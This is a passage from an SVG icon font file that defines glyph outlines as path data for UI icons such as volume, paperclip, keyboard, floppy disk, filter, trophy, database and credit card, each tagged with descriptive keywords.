			c 7.742,0, 14,6.258, 14,14l0,84 C 112,41.742, 105.742,48, 98,48z M 84-22c0-7.742-6.258-14-14-14L 42-36 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14l 28,0 
			c 7.742,0, 14-6.258, 14-14L 84-22 z M 266,216l-84,0 c-7.742,0-14-6.258-14-14l0-84 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14l0,84 
			C 280,209.742, 273.742,216, 266,216z M 252,146c0-7.742-6.258-14-14-14l-28,0 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14
			L 252,146 z M 266,48l-84,0 c-7.742,0-14-6.258-14-14l0-84 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14l0,84 C 280,41.742, 273.742,48, 266,48z M 252-22
			c0-7.742-6.258-14-14-14l-28,0 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 252-22 z M 434,216l-84,0 c-7.742,0-14-6.258-14-14
			l0-84 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14l0,84 C 448,209.742, 441.742,216, 434,216z M 420,146c0-7.742-6.258-14-14-14l-28,0 c-7.742,0-14,6.258-14,14
			l0,28 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 420,146 z M 434,384l-84,0 c-7.742,0-14-6.258-14-14l0-84 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,20.258, 14,28L 448,370 
			C 448,377.742, 441.742,384, 434,384z M 420,314c0-7.742-6.258-14-14-14l-28,0 c-7.742,0-14,6.258-14,14L 364,342 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 420,314 z
			 M 266,384l-84,0 c-7.742,0-14-6.258-14-14l0-84 c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,20.258, 14,28L 280,370 C 280,377.742, 273.742,384, 266,384z M 252,314
			c0-7.742-6.258-14-14-14l-28,0 c-7.742,0-14,6.258-14,14L 196,342 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 252,314 z M 434,48l-84,0 c-7.742,0-14-6.258-14-14l0-84 
			c0-7.742, 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14l0,84 C 448,41.742, 441.742,48, 434,48z M 420-22c0-7.742-6.258-14-14-14l-28,0 c-7.742,0-14,6.258-14,14
			l0,28 c0,7.742, 6.258,14, 14,14l 28,0 c 7.742,0, 14-6.258, 14-14L 420-22 z" data-tags="grid" />
<glyph unicode="&#xe2ee;" d="M 336-64L 336-64c-7.742,0-14,6.258-14,14l-140,126L 112,76 c-7.728,0-14,6.258-14,14l0,112 
	c0,7.742, 6.272,14, 14,14l 70,0 L 322,370c0,7.742, 6.258,14, 14,14l0,0c 7.742,0, 14-6.258, 14-14l0-420 C 350-57.742, 343.742-64, 336-64z" data-tags="volume, mute, speaker, media control" />
<glyph unicode="&#xe2ef;" d="M 315.91,327.804c-2.632,0-5.194-0.294-7.77-0.49l0-24.36 
			c 60.074,0, 108.78-63.994, 108.78-142.954s-48.706-142.954-108.78-142.954l0-24.36 c 2.576-0.196, 5.138-0.49, 7.77-0.49
			C 388.878-7.804, 448,67.32, 448,160S 388.878,327.804, 315.91,327.804z M 378.070,160c0,48.804-29.652,89.53-69.916,102.27l0-33.6 
			c 20.608-12.278, 34.958-38.276, 34.958-68.656s-14.35-56.378-34.958-68.656l0-33.6 C 348.418,70.47, 378.070,111.196, 378.070,160z M 238.112,384
			c-7.742,0-14-6.258-14-14L 84.028,216L 14,216 c-7.742,0-14-6.258-14-14l0-112 c0-7.742, 6.272-14, 14-14l 70.028,0 l 140.070-126c0-7.742, 6.258-14, 14-14
			c 7.756,0, 14.014,6.258, 14.014,14L 252.112,370 C 252.126,377.742, 245.868,384, 238.112,384z" data-tags="volume, media control" />
<glyph unicode="&#xe2f0;" d="M 420,384L 28,384 C 12.544,384,0,371.456,0,356l0-280 c0-15.456, 12.544-28, 28-28l 112,0 l-56-112l 14,0 l 100.8,112l 50.4,0 l 100.8-112l 14,0 
		l-56,112l 112,0 c 15.456,0, 28,12.544, 28,28L 448,356 C 448,371.456, 435.456,384, 420,384z M 420,90c0-7.742-6.258-14-14-14L 42,76 c-7.742,0-14,6.258-14,14L 28,342 c0,7.742, 6.258,14, 14,14
		l 364,0 c 7.742,0, 14-6.258, 14-14L 420,90 z M 292.292,165.166L 228.998,327.972l-69.132-130.060l-38.584,39.69L 56,196.918l 18.424-10.612l 8.862,5.516l 32.97,20.552
		l 50.47-51.968l 58.45,109.942l 64.624-166.306l 55.118,116.032l 22.456-47.796L 392,176.408l-46.956,99.848L 292.292,165.166z" data-tags="stats, monitor, board" />
<glyph unicode="&#xe2f1;" d="M 224,272c-61.852,0-112-50.148-112-112s 50.148-112, 112-112s 112,50.148, 112,112S 285.852,272, 224,272z M 224,76
			c-46.382,0-84,37.618-84,84s 37.618,84, 84,84s 84-37.618, 84-84S 270.382,76, 224,76z M 224,384C 100.282,384,0,283.718,0,160s 100.282-224, 224-224s 224,100.282, 224,224
			S 347.718,384, 224,384z M 224-8C 131.222-8, 56,67.222, 56,160S 131.222,328, 224,328s 168-75.222, 168-168S 316.778-8, 224-8z M 224,202c-23.198,0-42-18.802-42-42
			s 18.802-42, 42-42s 42,18.802, 42,42S 247.198,202, 224,202z" data-tags="target, goal, circles" />
<glyph unicode="&#xe2f2;" d="M 251.454,216.644L 251.454,356 L 448,160L 251.454-36L 251.454,104.588 C 151.564,104.588, 52.976,87.2,0,4.684
	C 5.516,155.058, 118.020,190.856, 251.454,216.644z" data-tags="forward, arrow, right" />
<glyph unicode="&#xe2f3;" d="M 181.314-7.678c-0.35-0.35-0.714-0.714-1.050-1.064
	c-35.112-33.586-90.958-34.244-124.824-1.344c-35.924,33.81-36.638,82.782, 0.616,120.456c 0.294,0.294, 0.532,0.602, 0.826,0.896
	c 0.35,0.322, 0.686,0.672, 1.022,0.994l 231.28,224.756l0-0.098 l 0.056,0.182l 1.834,1.792c 21.364,20.328, 55.244,20.692, 75.796,0.714
	c 12.362-17.612, 20.146-53.046-0.686-73.654l-1.918-1.876l-21.882-21.238l-20.076-19.53L 152.922,58.738l-0.084,0.084l-19.544-18.984
	l-0.532,0.658l-0.49-0.546l-0.966-1.064c-0.084-0.056-0.182-0.112-0.252-0.196c-7.812-7.056-19.866-7.112-27.244,0.056
	c-7.308,7.112-7.294,17.528-0.014,25.284c 0.238,0.224, 0.378,0.49, 0.616,0.714l 21.196,20.608l 155.19,150.794L 259.56,256.74L 104.37,105.918
	l-18.844-20.566l0-0.028 c-0.056-0.056-0.112-0.084-0.182-0.168c-0.168-0.168-0.308-0.322-0.476-0.504
	c-19.362-19.334-22.036-47.432-2.94-66.010c 19.11-18.55, 50.428-17.080, 70.308,1.75l 0.028-0.028l 0.392,0.406
	c 0.042,0.028, 0.084,0.056, 0.112,0.084c 0.042,0.028, 0.070,0.084, 0.098,0.112l 210.728,201.264l 21.854,21.266l 1.946,1.862l-0.028,0.028
	c 32.984,32.522, 17.318,93.436, 1.372,115.472c-32.452,31.528-85.876,30.758-119.322-1.764c-0.49-0.462-0.896-0.98-1.372-1.47l-0.056,0.042
	L 36.68,132.882l 0.028-0.028c-0.182-0.196-0.378-0.322-0.574-0.518c-0.322-0.294-0.616-0.686-0.938-1.008l-0.336-0.322l 0.014-0.028
	c-45.878-45.948-46.634-118.202-1.288-162.316c 45.794-44.506, 121.212-43.386, 168.42,2.492c 0.196,0.196, 0.336,0.378, 0.532,0.574l 0.056-0.056
	L 448,210.162l-21.224,20.622L 181.314-7.678z" data-tags="paperclip, attachment" />
<glyph unicode="&#xe2f4;" d="M 182,132c 7.728,0, 14,6.258, 14,14s-6.272,14-14,14s-14-6.258-14-14S 174.272,132, 182,132z M 224,188
			c 7.742,0, 14,6.258, 14,14s-6.258,14-14,14s-14-6.258-14-14S 216.258,188, 224,188z M 182,244c 7.728,0, 14,6.258, 14,14s-6.272,14-14,14s-14-6.258-14-14
			S 174.272,244, 182,244z M 266,244c 7.742,0, 14,6.258, 14,14s-6.258,14-14,14s-14-6.258-14-14S 258.258,244, 266,244z M 140,188c 7.728,0, 14,6.258, 14,14
			s-6.272,14-14,14s-14-6.258-14-14S 132.272,188, 140,188z M 350,244c 7.742,0, 14,6.258, 14,14s-6.258,14-14,14s-14-6.258-14-14S 342.258,244, 350,244z M 308,188
			c 7.742,0, 14,6.258, 14,14s-6.258,14-14,14s-14-6.258-14-14S 300.258,188, 308,188z M 266,132c 7.742,0, 14,6.258, 14,14s-6.258,14-14,14s-14-6.258-14-14
			S 258.258,132, 266,132z M 378,216c-7.742,0-14-6.258-14-14s 6.258-14, 14-14s 14,6.258, 14,14S 385.742,216, 378,216z M 420,328L 28,328 C 12.544,328,0,315.456,0,300l0-280 
			c0-15.456, 12.544-28, 28-28l 392,0 c 15.456,0, 28,12.544, 28,28L 448,300 C 448,315.456, 435.456,328, 420,328z M 420,34c0-7.742-6.258-14-14-14L 42,20 c-7.728,0-14,6.258-14,14L 28,286 
			c0,7.742, 6.272,14, 14,14l 364,0 c 7.742,0, 14-6.258, 14-14L 420,34 z M 322,76L 126,76 c-7.728,0-14-6.258-14-14s 6.272-14, 14-14l 196,0 c 7.742,0, 14,6.258, 14,14
			S 329.742,76, 322,76z M 70,216c-7.728,0-14-6.258-14-14s 6.272-14, 14-14s 14,6.258, 14,14S 77.728,216, 70,216z M 98,160c-7.728,0-14-6.258-14-14s 6.272-14, 14-14
			s 14,6.258, 14,14S 105.728,160, 98,160z M 98,244c 7.728,0, 14,6.258, 14,14S 105.728,272, 98,272S 84,265.742, 84,258S 90.272,244, 98,244z M 350,160c-7.742,0-14-6.258-14-14
			s 6.258-14, 14-14s 14,6.258, 14,14S 357.742,160, 350,160z" data-tags="keyboard, typing, type, input" />
<glyph unicode="&#xe2f5;" d="M 335.972,252.526l 80.038,80.038c 5.376,5.362, 5.376,14.070,0,19.446
		c-5.362,5.362-14.056,5.362-19.432,0l-80.052-80.052L 111.972,271.958 l0,42 c0,7.742-6.272,14-14,14l-28,0 c-7.728,0-14-6.258-14-14l0-42 l-42,0 c-7.728,0-14-6.258-14-14
		l0-28 c0-7.742, 6.272-14, 14-14l 42,0 l0-210 c0-7.742, 6.272-14, 14-14l 210,0 l0-42 c0-7.742, 6.258-14, 14-14l 28,0 c 7.742,0, 14,6.258, 14,14l0,42 l 42,0 c 7.742,0, 14,6.258, 14,14l0,28 
		c0,7.742-6.258,14-14,14l-42,0 L 335.972,252.526 z M 260.526,215.972L 111.972,67.404L 111.972,215.972 L 260.526,215.972 z M 131.432,47.972l 148.54,148.554l0-148.554 L 131.432,47.972 z" data-tags="crop, cut" />
<glyph unicode="&#xe2f6;" d="M 420-64L 28-64 c-15.456,0-28,12.544-28,28L0,356 c0,15.456, 12.544,28, 28,28l 336,0 l 84-84l0-336 
	C 448-51.456, 435.456-64, 420-64z M 112,6c0-7.742, 6.272-14, 14-14l 196,0 c 7.742,0, 14,6.258, 14,14l0,112 c0,7.742-6.258,14-14,14L 126,132 c-7.728,0-14-6.258-14-14L 112,6 z
	 M 308,314c0,7.742-6.258,14-14,14s-14-6.258-14-14l0-42 c0-7.742, 6.258-14, 14-14s 14,6.258, 14,14L 308,314 z M 392,286l-42,42l-14,0 l0-98 c0-7.742-6.258-14-14-14L 126,216 
	c-7.728,0-14,6.258-14,14L 112,328 L 70,328 C 62.272,328, 56,321.742, 56,314l0-308 c0-7.742, 6.272-14, 14-14l 14,0 L 84,146 c0,7.742, 6.272,14, 14,14l 252,0 c 7.742,0, 14-6.258, 14-14l0-154 l 14,0 
	c 7.742,0, 14,6.258, 14,14L 392,286 z" data-tags="floppy, disk, save, store" />
<glyph unicode="&#xe2f7;" d="M 448,315.316c0-52.71-141.414-176.134-167.818-228.858l0-109.046 
	c0-0.294-0.168-0.504-0.196-0.798L 279.986-36 c0-15.456-12.544-28-27.986-28l-56,0 c-15.456,0-28,12.544-28,28l0,12.586 c-0.028,0.294-0.21,0.504-0.21,0.826
	l0,109.046 C 141.428,139.182,0,262.606,0,315.316l 0.406,0 C 0.322,315.904,0,316.408,0,316.968C0,346.942, 100.338,384, 224,384s 224-37.058, 224-67.032
	c0-0.56-0.322-1.064-0.42-1.652L 448,315.316 z M 226.38,356.224c-108.514,0-198.576-17.43-198.576-49.392c0-31.948, 90.062-63.070, 198.576-63.070
	c 108.528,0, 193.34,31.122, 193.34,63.070C 419.706,338.794, 334.908,356.224, 226.38,356.224z" data-tags="filter" />
<glyph unicode="&#xe2f8;" d="M 343,384l-238,0 C 46.998,384,0,337.002,0,279S 46.998,174, 105,174l 19.096,0 
	c 22.344-22.764, 52.36-37.94, 85.904-41.272L 210-8 l-42,0 l-56-56l 224,0 l-56,56l-42,0 L 238,132.728 c 33.544,3.332, 63.56,18.508, 85.904,41.272L 343,174 
	c 58.002,0, 105,46.998, 105,105S 401.002,384, 343,384z M 28,279c0,35.196, 23.744,64.54, 56,73.738L 84,342 l0-14 l0-56 c0-25.424, 6.888-49.224, 18.746-69.762
	C 61.292,203.456, 28,237.252, 28,279z M 345.254,202.238C 357.112,222.776, 364,246.576, 364,272L 364,328 L 364,342 L 364,352.738 c 32.256-9.184, 56-38.542, 56-73.738
	C 420,237.252, 386.708,203.456, 345.254,202.238z" data-tags="trophy, cup, prize, tournament" />
<glyph unicode="&#xe2f9;" d="M 392,76l-28,0 c-30.926,0-56,25.074-56,56s 25.074,56, 56,56l 28,0 c 30.926,0, 56-25.074, 56-56
	S 422.926,76, 392,76z M 392,160l-28,0 c-15.456,0-28-12.544-28-28s 12.544-28, 28-28l 28,0 c 15.456,0, 28,12.544, 28,28S 407.456,160, 392,160z M 280,132
	c0-1.204, 0.294-2.31, 0.35-3.5C 280.294,127.324, 280,126.204, 280,125c0-14.728, 5.264-28.084, 13.72-38.808C 308.714,63.232, 334.544,48, 364,48l 56,0 
	l0-56 c0-15.456-12.544-28-28-28L 28-36 c-15.456,0-28,12.544-28,28L0,265 L0,272 L0,307 c0,22.022, 14.63,40.446, 34.65,46.606C 36.806,354.992, 39.242,356, 42,356l 364,0 
	c 7.742,0, 14-6.258, 14-14s-6.258-14-14-14L 154,328 L 93.1,328 L 42,328 C 34.258,328, 28,321.742, 28,314l0-14 l 364,0 c 15.456,0, 28-12.544, 28-28l0-56 l-56,0 C 317.618,216, 280,178.382, 280,132z
	 M 35-8l 350,0 c 3.864,0, 7,3.136, 7,7S 388.864,6, 385,6l-350,0 C 31.136,6, 28,2.864, 28-1S 31.136-8, 35-8z M 392,265
	C 392,268.864, 388.864,272, 385,272l-350,0 C 31.136,272, 28,268.864, 28,265S 31.136,258, 35,258l 350,0 C 388.864,258, 392,261.136, 392,265z" data-tags="diary, journal, book" />
<glyph unicode="&#xe2fa;" d="M 406-64L 98-64 c-7.728,0-14,6.258-14,14l0,14 L 42-36 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14
	l 42,0 l0,28 L 42,48 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14l 42,0 l0,28 L 42,132 c-7.742,0-14,6.258-14,14l0,28 c0,7.742, 6.258,14, 14,14l 42,0 l0,28 L 42,216 
	c-7.742,0-14,6.258-14,14L 28,258 c0,7.742, 6.258,14, 14,14l 42,0 L 84,300 L 42,300 C 34.258,300, 28,306.258, 28,314L 28,342 c0,7.742, 6.258,14, 14,14l 42,0 L 84,370 c0,7.742, 6.272,14, 14,14l 308,0 
	c 7.742,0, 14-6.258, 14-14l0-420 C 420-57.742, 413.742-64, 406-64z M 84,342L 56,342 C 48.258,342, 42,335.742, 42,328s 6.258-14, 14-14l 28,0 c 7.742,0, 14,6.258, 14,14S 91.742,342, 84,342z
	 M 84,258L 56,258 c-7.742,0-14-6.258-14-14s 6.258-14, 14-14l 28,0 c 7.742,0, 14,6.258, 14,14S 91.742,258, 84,258z M 84,174L 56,174 c-7.742,0-14-6.258-14-14s 6.258-14, 14-14l 28,0 
	c 7.742,0, 14,6.258, 14,14S 91.742,174, 84,174z M 84,90L 56,90 c-7.742,0-14-6.258-14-14s 6.258-14, 14-14l 28,0 c 7.742,0, 14,6.258, 14,14S 91.742,90, 84,90z M 84,6L 56,6 
	c-7.742,0-14-6.258-14-14s 6.258-14, 14-14l 28,0 c 7.742,0, 14,6.258, 14,14S 91.742,6, 84,6z M 336,91.75c0,23.87-29.652,32.438-68.768,36.022
	c 1.624,0.994, 3.108,2.632, 4.578,4.228L 266,132 c 7.742,0, 14,6.258, 14,14l0,84 c0,7.742-6.258,14-14,14l-28,0 c-7.742,0-14-6.258-14-14l0-84 
	c0-7.742, 6.258-14, 14-14l-5.81,0 c 1.47-1.596, 2.968-3.22, 4.578-4.228C 197.652,124.188, 168,115.298, 168,91.75L 168,76 l 168,0 L 336,91.75 z" data-tags="address book, contacts" />
<glyph unicode="&#xe2fb;" d="M 224,384C 100.282,384,0,283.718,0,160s 100.282-224, 224-224s 224,100.282, 224,224S 347.718,384, 224,384z M 308,104
		c0-15.456-12.544-28-28-28l-112,0 c-15.456,0-28,12.544-28,28l0,112 c0,15.456, 12.544,28, 28,28l 112,0 c 15.456,0, 28-12.544, 28-28L 308,104 z" data-tags="stop" />
<glyph unicode="&#xe2fc;" d="M 308,244c-15.456,0-28-12.544-28-28s 12.544-28, 28-28s 28,12.544, 28,28S 323.456,244, 308,244zM 140,188c 15.456,0, 28,12.544, 28,28s-12.544,28-28,28s-28-12.544-28-28S 124.544,188, 140,188zM 224,384C 100.282,384,0,283.718,0,160c0-123.718, 100.282-224, 224-224c 123.718,0, 224,100.282, 224,224
		C 448,283.718, 347.718,384, 224,384z M 140,272c 30.926,0, 56-25.074, 56-56s-25.074-56-56-56s-56,25.074-56,56S 109.074,272, 140,272z
		 M 224-8c-57.4,0-106.666,34.58-128.268,84l 256.536,0 C 330.666,26.58, 281.4-8, 224-8z M 308,160c-30.926,0-56,25.074-56,56
		s 25.074,56, 56,56s 56-25.074, 56-56S 338.926,160, 308,160z" data-tags="smiley, happy, emoticon" />
<glyph unicode="&#xe2fd;" d="M 270.438,285.93l 14.434,0 c 27.986,38.528-19.208,56.042,0,98.070l-14.434,0 
		C 253.652,342.672, 293.132,326.558, 270.438,285.93z M 214.116,271.916l 14.672,0 c-19.516,42.028, 28.434,73.556,0,112.084l-14.672,0 
		C 237.174,343.372, 197.050,313.244, 214.116,271.916z M 426.538,28.162c-2.8,10.794-6.146,16.31-21.434,17.514
		c-5.81,0.378-11.368,0.714-17.136,1.092c 0.154,0.28, 0.252,0.686, 0.378,0.98l-44.66,0 c-3.892,0-7.056,3.136-7.056,7
		c0,3.878, 3.164,7.014, 7.056,7.014l 47.684,0 c 0.98,11.9-0.434,26.502-4.662,34.118c-6.258,12.054-12.082,21.854-17.738,29.596
		c-9.758,12.18-27.846,20.342-41.216,24.738c-1.568,0.406-3.472,0.77-5.53,1.106c-0.714-3.122-3.388-5.502-6.734-5.502l-42.294,0 
		c-3.892,0-7.056,3.136-7.056,7.014c0,1.638, 5.726,3.136, 12.544,4.34c-8.484,20.062, 1.554,44.688, 1.554,44.688
		c0,15.47-28.21,46.69-28.21,28.014s-67.102,0-67.102,0c-9.114,10.206-17.486,28.014-17.486,28.014s-24.584-13.888-27.608-31.584
		c-8.722-4.76-14.7-13.86-14.7-24.458l0-14 c0-6.538, 1.162-17.5, 4.088-28.014l 31.164,0 c 3.892,0, 7.056-3.136, 7.056-7
		c0-3.878-3.164-7.014-7.056-7.014L 118.118,145.818 c-3.164,0-5.726,2.072-6.636,4.928c-9.324,2.030-18.76,4.676-28.336,8.302
		c-15.708-0.322-28.462-12.642-28.462-27.972l0-27.706 c 0.014-5.166, 1.484-10.052, 4.074-14.294c 0.896,0.42, 1.904,0.7, 2.968,0.7l 56.392,0 
		c 3.892,0, 7.042-3.136, 7.042-7s-3.15-7.014-7.042-7.014L 74.956,75.762 c 1.232-0.476, 2.478-0.952, 3.794-1.302
		c-7.868,0.084-15.75,0.35-23.604,0.35c-13.748-0.070-32.536-11.886-38.906-22.596c-9.506-16.632-14.462-29.988-16.184-56.238
		C-0.868-21.552, 11.046-64, 24.262-64s 381.010,0.308, 381.010,0.308s 41.93,26.054, 42.63,42.098C 449.554,2.458, 429.982,11.866, 426.538,28.162z
		 M 162.512,299.944l 14.672,0 c-23.058,40.628, 17.066,42.728,0,84.056l-14.672,0 C 182.014,341.972, 134.092,338.472, 162.512,299.944z" data-tags="shit, crap, poop" />
<glyph unicode="&#xe2fe;" d="M 336-64l-112,154L 112-64c-15.456,0-28,12.544-28,28L 84,356 c0,15.456, 12.544,28, 28,28l 224,0 
	c 15.456,0, 28-12.544, 28-28l0-392 C 364-51.456, 351.456-64, 336-64z M 329,356l-210,0 C 115.136,356, 112,352.864, 112,349S 115.136,342, 119,342l 210,0 C 332.864,342, 336,345.136, 336,349
	S 332.864,356, 329,356z" data-tags="bookmark" />
<glyph unicode="&#xe2ff;" d="M 420,6l-84,70l0-70 c0-15.456-12.544-28-28-28L 28-22 c-15.456,0-28,12.544-28,28L0,244 c0,15.456, 12.544,28, 28,28
	l 107.772,0 L 94.36,328L 14,328 C 6.272,328,0,334.258,0,342s 6.272,14, 14,14l 84,0 c 7.728,0, 14-6.258, 14-14l 57.008-70L 308,272 c 15.456,0, 28-12.544, 28-28l0-70 l 84,84c 15.456,0, 28-12.544, 28-28
	l0-196 C 448,18.544, 437.206,6, 420,6z M 294,244l-84,0 c-7.742,0-14-6.258-14-14s 6.258-14, 14-14l 84,0 c 7.742,0, 14,6.258, 14,14S 301.742,244, 294,244z" data-tags="camera, video, movie" />
<glyph unicode="&#xe300;" d="M 364,174c-7.742,0-14-6.258-14-14l0-98 c0-7.742, 6.258-14, 14-14s 14,6.258, 14,14l0,98 
		C 378,167.742, 371.742,174, 364,174z M 322-36L 126-36 c-7.728,0-14-6.258-14-14s 6.272-14, 14-14l 196,0 c 7.742,0, 14,6.258, 14,14S 329.742-36, 322-36z M 280,370
		c0,7.742-6.258,14-14,14l-70,0 c0,0-14-6.258-14-14L0,202c0-7.742, 6.272-14, 14-14l 168,0 c-7.742,0-14-20.258-14-28l0-168 c0-7.742, 6.258-14, 14-14l 84,0 
		c 7.742,0, 14,6.258, 14,14L 280,160 c0,7.742-6.258,28-14,28l 168,0 c 7.742,0, 14,6.258, 14,14L 280,370z" data-tags="lamp, light" />
<glyph unicode="&#xe301;" d="M 164.598,219.388c-32.802-32.802-32.802-85.988,0-118.79
			c 32.802-32.802, 85.988-32.802, 118.79,0c 32.816,32.816, 32.816,86.002,0,118.79C 250.586,252.204, 197.414,252.204, 164.598,219.388z M 243.796,140.204
			c-10.934-10.934-28.658-10.934-39.592,0s-10.934,28.658,0,39.592s 28.658,10.934, 39.592,0S 254.73,151.138, 243.796,140.204z M 382.382,318.382
			c-87.472,87.486-229.306,87.486-316.778,0c-87.486-87.472-87.486-229.306,0-316.778c 87.472-87.486, 229.306-87.486, 316.778,0
			C 469.868,89.090, 469.868,230.91, 382.382,318.382z M 303.184,80.802c-43.722-43.736-114.646-43.736-158.382,0c-43.75,43.75-43.75,114.646,0,158.396
			c 43.736,43.736, 114.66,43.736, 158.382,0C 346.934,195.448, 346.934,124.552, 303.184,80.802z M 313.082,249.096l 49.504,69.286l 19.796-19.796
			L 313.082,249.096z" data-tags="disk, cd, save" />
<glyph unicode="&#xe302;" d="M 224,384C 100.296,384,0,283.718,0,160s 100.296-224, 224-224c 123.704,0, 224,100.282, 224,224
			S 347.704,384, 224,384z M 224-8C 131.222-8, 56,67.222, 56,160S 131.222,328, 224,328c 92.778,0, 168-75.222, 168-168S 316.778-8, 224-8z M 224,300
			C 146.678,300, 84,237.308, 84,160s 62.678-140, 140-140c 77.322,0, 140,62.692, 140,140S 301.322,300, 224,300z M 168,76c-15.456,0-28,12.544-28,28s 12.544,28, 28,28
			s 28-12.544, 28-28S 183.456,76, 168,76z M 168,188c-15.456,0-28,12.544-28,28s 12.544,28, 28,28s 28-12.544, 28-28S 183.456,188, 168,188z M 280,76
			c-15.456,0-28,12.544-28,28s 12.544,28, 28,28s 28-12.544, 28-28S 295.456,76, 280,76z M 280,188c-15.456,0-28,12.544-28,28s 12.544,28, 28,28s 28-12.544, 28-28
			S 295.456,188, 280,188z" data-tags="button" />
<glyph unicode="&#xe303;" d="M 224.196,74.852c-0.518,0-1.036,0-1.554,0c-122.948,0-222.39,29.862-222.418,52.794
	l-0.224,90.062c0,0.14, 0.056,0.266, 0.056,0.378c 20.244-9.604, 44.030-14.028, 58.254-16.674c 44.198-8.218, 102.578-12.754, 164.332-12.754l 1.554,0 
	c 62.146,0.070, 120.862,4.718, 165.382,13.076c 14.238,2.674, 37.94,7.126, 58.198,16.674c0-0.042,0-0.126,0-0.126l 0.238-90.062
	C 448.042,105.19, 347.872,75.020, 224.196,74.852z M 224.196,215.776c-0.518,0-1.036,0-1.554,0c-122.948,0-222.39,27.244-222.418,50.176
	l-0.224,76.076C-0.042,365.044, 100.184,383.846, 223.86,384c 0.546,0, 1.064,0, 1.61,0c 122.906,0, 222.278-18.48, 222.306-41.412l 0.238-76.076
	C 448.042,243.496, 347.872,215.944, 224.196,215.776z M 222.628,47.72l 1.554,0 c 62.146,0.084, 120.876,7.336, 165.382,15.694
	c 14.238,2.674, 37.94,7.126, 58.212,16.688l 0.224-102.144c 0.028-23.030-100.142-41.818-223.818-41.972c-0.532,0-1.036,0-1.582,0
	c-122.92,0-222.362,18.48-222.39,41.398L0,79.794c 20.244-9.618, 44.044-14.042, 58.296-16.688C 102.494,54.874, 160.86,47.72, 222.628,47.72z" data-tags="database" />
<glyph unicode="&#xe304;" d="M 420,328L 28,328 C 12.544,328,0,315.456,0,300l0-280 c0-15.456, 12.544-28, 28-28l 392,0 c 15.456,0, 28,12.544, 28,28L 448,300 
		C 448,315.456, 435.456,328, 420,328z M 42,300l 364,0 c 7.742,0, 14-6.258, 14-14l0-42 L 28,244 L 28,286 C 28,293.742, 34.258,300, 42,300z M 406,20L 42,20 c-7.742,0-14,6.258-14,14l0,126 l 392,0 l0-126 
		C 420,26.258, 413.742,20, 406,20z" data-tags="credit card, card" />
<glyph unicode="&#xe305;" d="M 390.432,159.86c 17.528,19.446, 30.086,38.598, 37.408,56.994
	c 8.456,21.35, 8.148,39.886-0.896,55.076c-9.086,15.218-25.732,24.752-49.434,28.322c-20.342,3.080-43.946,2.282-70.406-2.38
	c-8.764,24.29-19.782,44.282-32.774,59.486c-15.134,17.696-32.116,26.656-50.428,26.656c-18.368,0-35.336-9.016-50.456-26.81
	c-13.006-15.288-23.926-35.294-32.522-59.528C 114.45,302.492, 90.86,303.332, 70.518,300.266C 46.816,296.682, 30.184,287.148, 21.070,271.916
	c-9.044-15.19-9.352-33.712-0.896-55.062c 7.28-18.354, 19.908-37.492, 37.59-56.966c-17.668-19.516-30.254-38.626-37.45-56.896
	c-8.4-21.28-8.036-39.76, 1.036-54.908c 9.058-15.218, 25.648-24.794, 49.266-28.448c 20.272-3.164, 43.862-2.352, 70.322,2.45
	c 8.736-24.206, 19.684-44.184, 32.62-59.43c 15.036-17.71, 31.962-26.67, 50.344-26.67c 18.326,0, 35.294,8.974, 50.428,26.656
	c 12.978,15.19, 23.982,35.224, 32.746,59.612c 26.46-5.040, 49.98-6.006, 70.196-2.856c 23.506,3.654, 40.124,13.188, 49.434,28.448
	c 9.058,15.19, 9.366,33.712, 0.882,55.076C 420.308,121.22, 407.834,140.358, 390.432,159.86z M 193.816-19.256
	c-9.45,12.054-17.598,28.182-24.262,47.95c 18.368,4.998, 36.68,11.354, 54.558,18.956c 17.948-7.7, 36.232-14.056, 54.544-18.956
	c-6.776-19.726-15.022-35.826-24.57-47.908C 234.584-43.952, 213.178-43.952, 193.816-19.256z M 254.072,339.13
	c 9.534-12.166, 17.794-28.308, 24.57-48.048c-17.066-4.606-35.336-10.892-54.53-18.788c-18.634,7.588-37.016,14-54.782,19.068
	c 6.776,19.544, 14.994,35.602, 24.486,47.768C 213.206,363.98, 234.57,363.98, 254.072,339.13z M 328.79,176.744c 7.462-5.852, 14.28-11.522, 20.37-16.968
	c-4.144-3.822-8.47-7.616-12.936-11.284c-2.45-2.002-4.928-4.018-7.434-6.062c 0.238,6.16, 0.336,12.068, 0.336,17.668
	C 329.14,165.208, 329.028,170.78, 328.79,176.744z M 325.766,215.734c-2.198,19.222-5.684,37.66-10.374,54.978c 21.252,4.186, 39.97,5.418, 55.706,3.64
	c 16.058-1.806, 26.824-7.056, 31.962-15.512c 5.25-8.806, 4.676-20.062-1.778-34.398c-6.23-13.916-16.716-28.784-31.22-44.268
	C 356.356,192.718, 341.516,204.646, 325.766,215.734z M 224.126,79.696c-12.614,5.6-25.158,11.928-37.282,18.788
	c-13.832,7.924-25.662,15.176-35.224,21.56c-1.050,11.662-1.582,25.13-1.582,40.068c0,14.924, 0.532,28.294, 1.568,39.816
	c 10.36,6.762, 22.344,14.028, 35.56,21.504c 11.9,6.468, 24.304,12.698, 36.946,18.55c 12.6-5.908, 25.018-12.124, 36.806-18.438
	c 12.404-7.126, 24.388-14.322, 35.714-21.476c 1.050-11.76, 1.568-25.172, 1.568-39.956c0-14.938-0.518-28.476-1.568-40.278
	c-10.5-6.888-22.386-14.056-35.448-21.364C 249.466,91.75, 237.034,85.436, 224.126,79.696z M 276.304,246.828
